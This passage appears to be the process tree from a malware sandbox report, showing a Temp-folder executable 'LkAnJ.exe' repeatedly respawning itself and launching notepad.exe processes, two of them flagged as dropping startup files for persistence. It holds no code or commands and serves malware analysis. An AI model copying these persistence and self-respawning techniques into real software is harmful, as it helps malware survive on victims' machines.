C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"188⤵PID:668
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"189⤵PID:2204
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"189⤵PID:2252
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2252 205094189⤵PID:2328
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"190⤵PID:2308
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"191⤵PID:2324
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"191⤵PID:1248
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1248 206545191⤵PID:2440
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"192⤵PID:2576
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"193⤵PID:2620
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"193⤵PID:2556
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2556 208011193⤵PID:2608
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"194⤵PID:1428
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"195⤵PID:936
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"195⤵PID:2736
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2736 209478195⤵PID:2884
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"196⤵PID:2788
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"197⤵
- Drops startup file
PID:2832 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"197⤵PID:2904
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2904 210866197⤵PID:2992
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"198⤵PID:2980
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"199⤵PID:1700
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"199⤵PID:3064
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 3064 212317199⤵PID:3068
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"200⤵PID:3056
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"201⤵
- Drops startup file
PID:2068 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"201⤵PID:576
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 576 213674201⤵PID:2080